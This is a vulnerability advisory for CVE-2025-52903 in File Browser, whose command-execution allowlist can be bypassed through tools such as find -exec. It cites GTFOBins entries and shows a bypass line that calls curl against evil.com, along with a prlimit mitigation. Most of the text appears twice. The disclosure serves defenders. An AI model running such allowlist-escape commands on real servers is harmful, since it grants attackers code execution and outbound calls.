CVE-2025-52903

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

• https://gtfobins.github.io/gtfobins/cpio
• https://gtfobins.github.io/gtfobins/find
• https://gtfobins.github.io/gtfobins/sed
• https://gtfobins.github.io/gtfobins/git
• https://gtfobins.github.io/gtfobins/env

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

• 2025-03-26 Identified the vulnerability in version 2.32.0
• 2025-06-25 Uploaded advisories to the project's GitHub repository
• 2025-06-25 CVE ID assigned by GitHub
• 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

• prlimit
• ["Distroless" Container…

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.

File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. In versions on the 2.x branch prior to 2.33.10, the Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process. Version 2.33.10 contains a check for whether a command is allowed when using shell.

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

• https://gtfobins.github.io/gtfobins/cpio
• https://gtfobins.github.io/gtfobins/find
• https://gtfobins.github.io/gtfobins/sed
• https://gtfobins.github.io/gtfobins/git
• https://gtfobins.github.io/gtfobins/env

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

• 2025-03-26 Identified the vulnerability in version 2.32.0
• 2025-06-25 Uploaded advisories to the project's GitHub repository
• 2025-06-25 CVE ID assigned by GitHub
• 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

• prlimit
• ["Distroless" Container…

filebrowser Allows Shell Commands to Spawn Other Commands in github.com/filebrowser/filebrowser

These are all security issues fixed in the govulncheck-vulndb-0.0.20250730T213748-1.1 package on the GA media of openSUSE Tumbleweed.